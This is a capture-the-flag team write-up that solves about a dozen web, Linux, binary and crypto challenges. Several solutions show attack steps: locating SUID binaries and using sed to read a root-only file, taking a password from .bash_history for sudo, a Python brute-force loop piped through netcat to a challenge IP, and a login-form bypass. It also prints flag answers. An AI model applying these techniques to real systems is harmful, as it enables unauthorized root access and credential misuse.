Written by Rob (@iamrastating)

Challenge: “Express” Checkout

Description

It took a lot of courage but our great team accomplished the unthinkable. We are happy to announce a fantastic new express checkout experience. Our customers are going to love it! This new workflow has your items delivered to someone else in no time flat!

Categories

Web

Points

50

Solution

Viewing the customer listing revealed e-mail addresses of all customers. The challenge was solved by enumerating all e-mail addresses to find one which could be used on the checkout page for dandelions.

Solved By

@andyamos

Challenge: How do I exit vim?

Description

I’ve opened vim and can’t exit! Can you help me?

Categories

Linux

Points

100

Solution

Upon SSHing into the system, the default shell had been replaced with vim, and execution of external commands was disabled.

Using the e vim command, to open the file explorer, it was possible to enumerate the file system and find the flag:

Solved By

@iamrastating

Challenge: Set me free

Description

Someone has backdoored my VM! Find the backdoor to get the flag.

Categories

Linux

Points

100

Solution

Upon SSHing into the system and searching the file system for executables with the SUID bit set, sed was identified as allowing execution as root :

ctf@9619e4b6fd44:~$ find / -perm -4000 -type f 2>/dev/null /bin/sed /bin/su /bin/mount /bin/umount /usr/lib/openssh/ssh-keysign /usr/bin/newgrp /usr/bin/gpasswd /usr/bin/chfn /usr/bin/chsh /usr/bin/passwd

Using sed , it was then possible to read the flag from /flag.txt :

ctf@95e4daed32f9:~$ /bin/sed -r 's/(.*)/\1/i' /flag.txt MCA{Belae1ief2pha8e}

Solved By

@iamrastating

Challenge: Security as a Service

Description

We love micro-services. And that’s why, from this point forward, we are declaring all applications that import, include, or require anything monolithic! And like all great micro-services it’s open source!

Categories

Binary

Points

150

Solution

Within the function that generates the hash, the for loop is terminated early, due to a stray semi-colon:

int doHash(char* str) { int res, i; for (i=0, res=0; i<STR_LEN_SAFE - 1; ++i); { res += str[i]; res *= str[i]; res ^= str[i]; } return res; }

Due to this error, only a single character needed to be brute forced. The script below brute forces the character and returns the flag:

import os import string fluff = "A"*19 alphabets = string.ascii_lowercase alphabets = alphabets + string.ascii_uppercase for i in alphabets: test = fluff + i print test os.system("echo " + test + " | nc 138.247.115.168 1337")

Enter the key: Sorry, your key is incorrect AAAAAAAAAAAAAAAAAAAa Enter the key: Sorry, your key is incorrect ...... AAAAAAAAAAAAAAAAAAAr Enter the key: Sorry, your key is incorrect AAAAAAAAAAAAAAAAAAAv Enter the key: Sucess! Flag is MCA{Yao7uc4dei9eimi}

Solved By

@JayHarris_Sec, @Phyushin

Challenge: Click Me

Description

No really, go for it.

Categories

Web

Points

100

Solution

Visiting the website presented a page with a single link, clicking this led to another page with a single link, and this loop would continue for a few thousand requests.

To solve the challenge, a tool capable of spidering the website, such as Burp or wget needed to be used in order to find the final page, which would reveal the flag.

Solved By

@iamrastating, @JayHarris_Sec

Challenge: CTF Jams

Categories

Grab Bag

Points

150

Solution

The challenge provided an MP3 file for download, which contained an image embedded within it, which was not picked up as the default covert art in media players, but which could be extracted using ffmpeg:

ffmpeg -i gb15_e3b7421c5a8f4bf88521c0f53b7b07a15424bca4.mp3 file.jpg

Solved By

@JayHarris_Sec

Challenge: Adverse Reaction

Description

We see you’re running an ad-blocker. To view this content consider opening yourself up to malware. You can also subscribe for $9.99/month and still receive ads!

Categories

Web

Points

100

Solution

The website would show different adverts, visitng it enough times would lead to one being served which would render an invisible iframe, which contained the page with the flag:

Flag: MCA{Ads_Supp0rt_webSit3z_MON$Y}

Solved By

@andyamos, @JayHarris_Sec

Challenge: It’s all in the past now

Description

There is a flag stored in /flag.txt but only root can read it. Figure out how to get root access to read the flag.

Categories

Linux

Points

100

Solution

In the .bash_history file, there was a record of the user making a typo when trying to execute a command with sudo , which was followed by them entering their password at the bash prompt [ tomatosoup ]:

ctf@89ded40eb823:~$ cat .bash_history vim myscript.sh vi myscript.sh sudo apt install vim-tiny sudo apt install update sudo apt update sudo apt install vim-tiny ls vi myscript.sh ./myscript.sh chmod +x myscript.sh vi myscript.sh ./myscript.sh vi myscript.sh ./myscript.sh vi myscript.sh ./myscript.sh vi myscript.sh ./myscript.sh vi myscript.sh ./myscript.sh ls cat myscript.sh sh ./myscript.sh vi myscript.sh ./myscript.sh vi myscript.sh ./myscript.sh vi myscript.sh ./myscript.sh vi myscript.sh ./myscript.sh bash -x ./myscript.sh rm myscript.sh sudo ./myscript.sh vi myscript.sh sufo ./myscript.sh tomatosoup sudo ./myscript.sh vi mycrypt.sh sudo ./myscript.sh vi mycrypt.sh sudo ./myscript.sh vi mycrypt.sh ./myscript.sh rm myscript.sh

After acquiring the password, it was possible to run cat as root to read the flag:

ctf@89ded40eb823:~$ sudo cat /flag.txt MCA{shooJ5aeshaiw4y}

Solved By

@iamrastating

Challenge: Back to the Future

Description

Get in the pipe Marty! We gotta get all the way to Bendigo! We gotta get me keys back!

Categories

Linux

Points

100

Solution

Using netcat to connect to the server shows the string “Hello!” and then the connection is reset. If the traffic is monitored using Wireshark, some extra data can be seen which is not displayed by netcat:

Hello! .T.h.e. .f.l.a.g. .i.s. .M.C.A.{.d.o.h.C.e.9.D.o.u.H.e.e.H.o.a.}.asdf

Solved By

@JayHarris_Sec

Challenge: Challenge.find(55).description.length => 374

Categories

Crypto

Points

150

Solution

The challenge provided a string of zeros, which if inspected using the WebKit inspector, revealed a number of non-printable unicode characters.

Looking at the LSB of every fourth byte reveals that there is a pattern of it changing between two values.

By treating these two values as binary, it is possible to then decode from binary to text, the value of the flag.

Solved By

@iamrastating, @JayHarris_Sec, @ponix4k

Challenge: Two Problems

Description

I lost my phone and I can’t log in to my favorite website. Can you help me get access?

Categories

Web

Points

100

Solution

The username and password of the login page come pre-filled, but the login process is gated by two secret questions.

The data accepted by the web page does not sanitise the data before processing; nor does it URL decode it. By sending a wildcard value unencoded, it is possible to bypass the form:

Solved By

@andyamos

Challenge: Keyboard Shuffle

Description

To the right, to the right, to the right, to the right To the left, to the left, to the left, to the left, to the left?

Ut awwna U;n cwrt vS r rtoubfm rgBJAB DIE VWUBF AI YBSWEARndubf BTQt~ nxPRTOUBF)UA)ooEWBRKT)Ges{

Categories

Crypto

Points

100

Solution

Reversing the keyboard shift from the description (i.e. moving 5 keys to the right, and 4 keys to the left) provided the flag, minus any As; which can be identified by the fact the flag prefix is only mc rather than mca .

Filling in the missing As revealed the full flag: MCA{TYPING_IS_appaRENTLY_Hard}

Solved By

@iamrastating, @ponix4k